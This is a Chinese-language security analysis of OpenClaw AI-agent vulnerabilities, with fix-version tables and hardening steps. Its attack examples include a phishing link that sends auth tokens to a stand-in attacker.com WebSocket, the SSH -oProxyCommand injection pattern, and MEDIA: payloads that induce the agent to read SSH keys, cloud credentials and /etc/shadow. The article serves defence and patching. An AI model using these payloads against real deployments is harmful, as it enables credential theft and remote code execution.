第二篇:高危漏洞深度剖析——从CVE到在野利用
当AI代理的代码成为攻击者的跳板,每一个未修复的漏洞都是一扇敞开的门
引言:漏洞集群的集中爆发
2026年1月底至2月初,OpenClaw(曾用名Clawdbot、Moltbot)迎来了其发展史上最严峻的安全考验。GitHub Advisory Database在短短数周内集中披露了数十个安全漏洞,涵盖认证绕过、命令注入、信息泄露、权限越权等多个维度。其中,五个拥有CVE编号的高危漏洞尤为引人注目,CVSS评分最高达8.8分,且已有漏洞被证实在野利用。
本文将对这五个核心高危漏洞进行深入的技术剖析,揭示其根本原因、攻击场景和潜在危害,并提供明确的版本修复对照表和升级路径,帮助部署方精准定位风险、快速完成修复。
一、CVE-2026-25253:Control UI参数处理缺陷(CVSS 8.8)
漏洞画像
|
项目 |
信息 |
|
CVE编号 |
CVE-2026-25253 |
|
CVSS评分 |
8.8(高危) |
|
漏洞类型 |
CSRF、令牌泄露 |
|
影响版本 |
< 2026.1.29 |
|
修复版本 |
>= 2026.1.29 |
|
在野利用 |
已确认 |
技术原理
CVE-2026-25253是OpenClaw Control UI中一个严重的参数处理缺陷,被安全研究人员称为“一键远程代码执行”漏洞。该漏洞的核心在于OpenClaw错误地信任了用户提供的URL参数。
在受影响版本中,OpenClaw的Control UI会从查询字符串中获取gatewayUrl参数,并自动建立WebSocket连接,同时将用户的认证令牌直接传输至该参数指定的地址,整个过程无需用户确认或域名校验。
// 漏洞代码示意(简化版)
const urlParams = new URLSearchParams(window.location.search);
const gatewayUrl = urlParams.get('gatewayUrl');
if (gatewayUrl) {
// 自动连接,无任何校验!
const ws = new WebSocket(gatewayUrl);
ws.onopen = () => ws.send(authenticationToken);
}
攻击链分析
攻击者可利用该漏洞构建完整的“一键RCE杀伤链”:
- 钓鱼诱饵:攻击者构造包含恶意gatewayUrl参数的链接,如:
https://victim-openclaw-ui/?gatewayUrl=wss://attacker.com/exfil
- 令牌窃取:受害者点击链接后,Control UI自动连接至攻击者控制的WebSocket服务器,并在毫秒级时间内将认证令牌传输出去。
- 网关接管:攻击者利用窃取的令牌连接至受害者的本地网关(即使绑定在loopback地址上),获得完全访问权限。
- 配置篡改:攻击者修改网关配置——禁用沙箱、启用危险工具、扩大权限范围。
- 远程代码执行:攻击者调用特权API,在受害者主机上执行任意命令。
根本原因
该漏洞的本质是信任边界失控(CWE-669:资源跨球体错误传输)。OpenClaw错误地将用户提供的URL视为可信输入,未做任何白名单校验或用户确认,导致攻击者可以绕过浏览器的同源策略,利用受害者的浏览器作为“跳板”,直击本地网关。
修复方案
官方在2026.1.29版本中修复了该漏洞,主要措施包括:
- 对gatewayUrl参数添加可信域名白名单校验
- 仅允许连接至本地或预配置的可信网关地址
- 对WebSocket传输的认证令牌进行端到端加密
二、CVE-2026-25157:SSH命令注入漏洞(CVSS 8.1)
漏洞画像
|
项目 |
信息 |
|
CVE编号 |
CVE-2026-25157 |
|
CVSS评分 |
8.1(高危) |
|
漏洞类型 |
OS命令注入(CWE-78) |
|
影响版本 |
< 2026.1.29 |
|
修复版本 |
>= 2026.1.29 |
|
攻击向量 |
本地网络,需用户交互 |
技术原理
CVE-2026-25157是一个存在于OpenClaw SSH节点管理功能中的命令注入漏洞,包含两个独立的攻击向量。
攻击向量一:项目路径注入
sshNodeCommand函数在构造shell脚本时,未对用户提供的项目路径进行正确的转义处理。当cd命令失败时,未转义的路径被直接插入echo语句中,为命令注入创造了机会。
// 漏洞代码示意
function sshNodeCommand(projectPath) {
// 未对projectPath进行转义就直接拼接
const script = `
cd ${projectPath} || echo "Failed to cd to ${projectPath}"
# 其他命令...
`;
// 执行脚本
}
攻击者可以通过构造包含shell元字符的恶意项目路径,注入任意命令,并在远程SSH主机上执行。
攻击向量二:SSH目标选项注入
parseSSHTarget函数未能验证SSH目标字符串不能以短横线开头。攻击者可以构造类似-oProxyCommand=malicious_command的目标字符串,被SSH客户端解释为配置选项而非主机名,从而在本地机器上执行任意命令。
攻击场景
攻击者可利用该漏洞实现:
- 远程主机控制:通过注入的项目路径,在受信任的远程SSH主机上执行恶意命令
- 本地权限提升:通过SSH选项注入,在OpenClaw运行主机上执行系统命令
- 横向移动:以OpenClaw进程权限为跳板,向内部网络其他主机渗透
根本原因
该漏洞的根本原因在于两重输入验证失败:
- 输出转义不足:在错误处理代码中直接拼接未转义的用户输入
- 输入验证缺失:未能拒绝以短横线开头的SSH目标字符串
修复方案
官方在2026.1.29版本中通过以下方式修复-2:
- 对用户提供的项目路径进行严格的转义处理
- 添加验证逻辑,拒绝以短横线开头的SSH目标字符串
三、CVE-2026-24763:Docker沙箱绕过漏洞(CVSS 7.8)
漏洞画像
|
项目 |
信息 |
|
CVE编号 |
CVE-2026-24763 |
|
CVSS评分 |
7.8(高危) |
|
漏洞类型 |
命令注入(CWE-78) |
|
影响版本 |
< 2026.1.29 |
|
修复版本 |
>= 2026.1.29 |
|
攻击向量 |
网络,需认证 |
技术原理
CVE-2026-24763是一个存在于OpenClaw Docker沙箱执行机制中的命令注入漏洞。该漏洞源于对PATH环境变量的不安全处理。
在构建和执行shell命令时,OpenClaw的Docker沙箱机制未对PATH环境变量进行适当的清理和验证。已认证的攻击者如果能够控制环境变量,就可以通过操纵PATH变量在容器上下文中注入恶意命令。
// 漏洞代码示意
function executeInSandbox(command) {
// 直接使用当前PATH环境变量,未做验证
const env = { ...process.env, PATH: process.env.PATH };
// 在Docker容器中执行命令
docker.run(command, { env });
}
攻击者可以通过在PATH中注入shell元字符或命令序列,当OpenClaw构造和执行命令时,这些注入的元素被解释为命令的一部分,导致任意命令执行-3。
攻击场景
- 容器突破:攻击者通过环境变量注入,突破Docker沙箱限制,在容器上下文中执行任意命令
- 敏感数据窃取:获取容器内存储的凭证、密钥等敏感信息
- 权限提升:以容器内权限为跳板,进一步攻击宿主机
根本原因
漏洞的根本原因在于对PATH环境变量的信任过度。OpenClaw假定该变量只包含合法的目录路径,而未验证其中是否包含shell元字符或恶意命令序列-3。
修复方案
官方在2026.1.29版本中修复了该漏洞-9,主要措施包括:
- 在构建shell命令前对PATH环境变量进行严格的清理和验证
- 实施环境变量白名单机制,仅允许预定义的、安全的路径值
四、CVE-2026-25475:本地文件包含漏洞(CVSS 6.5)
漏洞画像
|
项目 |
信息 |
|
CVE编号 |
CVE-2026-25475 |
|
CVSS评分 |
6.5(中危,但利用风险高) |
|
漏洞类型 |
路径遍历(CWE-22) |
|
影响版本 |
<= 2026.1.30 |
|
修复版本 |
>= 2026.2.1 |
|
在野利用 |
已确认-4 |
技术原理
CVE-2026-25475是一个存在于OpenClaw媒体文件处理模块中的路径遍历漏洞。isValidMedia()函数负责验证媒体文件路径,但其实现存在严重缺陷,允许各种危险的路径模式:
function isValidMedia(candidate: string, opts?: { allowSpaces?: boolean }) {
if (candidate.startsWith("/")) return true; // 允许 /etc/passwd
if (candidate.startsWith("./")) return true;
if (candidate.startsWith("../")) return true; // 允许 ../../etc/passwd
if (candidate.startsWith("~")) return true; // 允许 ~/secrets
return false;
}
任何绝对路径、相对路径、目录穿越序列、用户主目录引用均被接受,无任何安全目录限制或媒体文件类型验证-4。
攻击场景
攻击者可以通过诱导AI代理输出MEDIA: URI,读取系统上任意文件:
text
复制
下载
MEDIA:/etc/passwd # 读取系统用户信息
MEDIA:~/.ssh/id_rsa # 窃取SSH私钥
MEDIA:~/.aws/credentials # 窃取云服务凭证
MEDIA:../../../etc/shadow # 目录穿越读取敏感文件
MEDIA:.env # 读取环境变量中的API密钥
MEDIA:config.json # 读取配置文件中的凭证
根本原因
该漏洞的根本原因是路径验证逻辑的完全缺失:
- 未限制文件访问范围在安全的媒体目录内
- 未验证目标文件是否为真正的媒体文件
- 未阻止危险路径模式
修复方案
官方在2026.1.30版本中尝试修复,但修复不完整;最终在2026.2.1版本中完全修复。修复措施包括:
- 拒绝绝对路径、目录穿越序列和主目录引用
- 限制文件访问仅限于预定义的媒体目录
- 验证目标文件的MIME类型,确保为媒体文件
五、GHSA系列漏洞详解
除CVE编号漏洞外,GitHub Advisory Database还披露了多个值得关注的中高危漏洞。
GHSA-6mgf-v5j7-45cr:跨域重定向信息泄露(CVSS 7.5)
漏洞描述:OpenClaw的fetch-guard组件存在逻辑缺陷,在跨域重定向过程中,会将自定义的授权请求头直接转发至重定向目标地址,导致授权凭证泄露至非可信域名。
影响版本:<= 2026.3.2
修复版本:>= 2026.3.7
攻击场景:攻击者构造恶意跨域重定向链接,诱导OpenClaw合法用户访问,fetch-guard在重定向时将用户的授权头转发至攻击者控制的服务器。
GHSA-rchv-x836-w7xp:仪表盘信息泄露(CVSS 7.1)
漏洞描述:OpenClaw的管理仪表盘存在信息泄露缺陷,网关认证相关的敏感材料通过浏览器URL查询参数和localStorage本地存储进行传输和保存,未做加密和脱敏处理。
影响版本:<= 2026.3.2
修复版本:>= 2026.3.7
攻击场景:攻击者通过物理接触、浏览器漏洞或XSS攻击,获取目标设备浏览器的URL历史或localStorage数据,提取网关认证材料。
六、版本修复对照表
为帮助部署方精准定位风险,下表汇总了核心漏洞的受影响版本和修复版本:
|
漏洞编号 |
漏洞类型 |
影响版本 |
修复版本 |
CVSS评分 |
在野利用 |
|
CVE-2026-25253 |
令牌泄露/RCE |
< 2026.1.29 |
>= 2026.1.29 |
8.8 |
是 |
|
CVE-2026-25157 |
SSH命令注入 |
< 2026.1.29 |
>= 2026.1.29 |
8.1 |
否 |
|
CVE-2026-24763 |
沙箱命令注入 |
< 2026.1.29 |
>= 2026.1.29 |
7.8 |
否 |
|
CVE-2026-25475 |
路径遍历 |
<= 2026.1.30 |
>= 2026.2.1 |
6.5 |
是 |
|
GHSA-6mgf-v5j7-45cr |
跨域重定向 |
<= 2026.3.2 |
>= 2026.3.7 |
7.5 |
否 |
|
GHSA-rchv-x836-w7xp |
信息泄露 |
<= 2026.3.2 |
>= 2026.3.7 |
7.1 |
否 |
版本升级路径建议-5:
- 对于低于2026.1.29的版本:必须首先升级至2026.1.29或更高版本
- 对于2026.1.29至2026.1.30版本:建议升级至2026.2.1修复CVE-2026-25475
- 对于2026.2.1至2026.3.2版本:建议升级至2026.3.7修复GHSA系列漏洞
- 最终建议:升级至最新稳定版本,确保持续获得安全更新
七、漏洞利用与防护建议
漏洞利用特征
根据安全研究人员的分析,上述漏洞在利用时通常表现出以下特征-1-7:
|
漏洞 |
利用特征 |
监控重点 |
|
CVE-2026-25253 |
外部WebSocket出站连接 |
浏览器网络日志中的非本地WebSocket |
|
CVE-2026-25157 |
以短横线开头的SSH目标 |
SSH连接日志中的异常目标格式 |
|
CVE-2026-24763 |
环境变量中的shell元字符 |
容器启动时的环境变量记录 |
|
CVE-2026-25475 |
包含MEDIA:的敏感文件访问 |
应用日志中的路径遍历模式 |
|
GHSA-6mgf-v5j7-45cr |
跨域重定向中的授权头 |
请求日志中的授权头转发记录 |
加固建议
针对上述漏洞,建议部署方采取以下综合防护措施:
- 立即升级:将OpenClaw升级至最新稳定版本,确保所有已知漏洞得到修复
- 权限最小化:
# 运行OpenClaw的专用用户
useradd --system --home /opt/openclaw openclaw
chown -R openclaw:openclaw /opt/openclaw
chmod 700 /opt/openclaw
- 网络隔离:
# 限制OpenClaw对外连接
iptables -A OUTPUT -m owner --uid-owner openclaw -p tcp --dport 22 -j DROP
iptables -A OUTPUT -m owner --uid-owner openclaw -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner openclaw -j DROP
- 沙箱强化:
# Docker运行参数
docker run \
--read-only \
--cap-drop=ALL \
--security-opt=no-new-privileges:true \
--tmpfs /tmp:noexec,nosuid,size=100m \
openclaw/openclaw:latest
- 监控告警:部署SIEM规则,对上述漏洞利用特征进行实时监控
结语:漏洞是镜子,照见安全短板
OpenClaw的漏洞集群集中爆发,折射出AI智能体框架在快速发展过程中普遍面临的安全挑战:功能迭代与安全设计的不同步。从CVE-2026-25253的令牌泄露,到CVE-2026-25475的路径遍历,每一个漏洞都是对“默认信任”的惩罚,也是对“安全设计”的呼唤。
对于部署方而言,漏洞不可怕,未知才可怕。及时了解漏洞详情、准确评估影响范围、快速完成版本升级,是应对风险的最有效手段。正如安全内参的评论:“当前OpenClaw的漏洞分析显示,其安全问题主要集中在权限管控逻辑缺陷、沙箱机制绕过、网络防护不完善、认证校验不严谨四大方面,且多数漏洞因框架的分布式执行特性和多渠道交互设计被放大,低版本实例受影响尤为严重。”-5
(系列文章第二篇,待续。下一篇预告:技能生态安全——如何在15,000+插件中识别恶意代码)
参考文献:
- SentinelOne.CVE-2026-25253: OpenClaw CSRF Vulnerability Flaw.2026-01-31
- OpenCVE.CVE-2026-25157 - OpenClaw/Clawdbot OS Command Injection.2026-02-03
- SentinelOne.CVE-2026-24763: OpenClaw Command Injection RCE Flaw.2026-02-01
- Dependabot.CVE-2026-25475: OpenClaw Local File Inclusion.2026-02-03
- 安全内参.OpenClaw安全风险排查指南:在效率与安全之间寻找平衡.2026-03-09
- ICS-CSIRT.Vulnerabilities (CVE) for OpenClaw.2026-02
- Foresiet.CVE-2026-25253: OpenClaw Bug Enables One-Click RCE.2026-02-03
- SentinelOne.CVE-2026-25157: OpenClaw AI Assistant RCE Vulnerability.2026-02-03
- OSV.CVE-2026-24763 Vulnerability Details.2026-02-02
- SentinelOne.CVE-2026-25475: OpenClaw Path Traversal.2026-02-03
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)